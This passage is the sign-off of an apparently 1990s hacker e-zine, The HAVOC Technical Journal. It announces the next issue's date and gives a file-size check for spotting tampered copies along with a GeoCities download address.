  922.                 Issue 6 is out Dec. 15th!
  923.  
  924.  cya ya next issue! - The HAVOC Technical Journal Crew
  925.  
  926.  
  927. ============================================================
  928. = IS this copy of The HAVOC Technical Journal Skunked?
  929. = If this file reads larger than 32614 bytes than this issue
  930. = has been messed with! get a fresh copy from our site:
  931. = www.geocities.com/SiliconValley/8805/
  932. ============================================================
  933.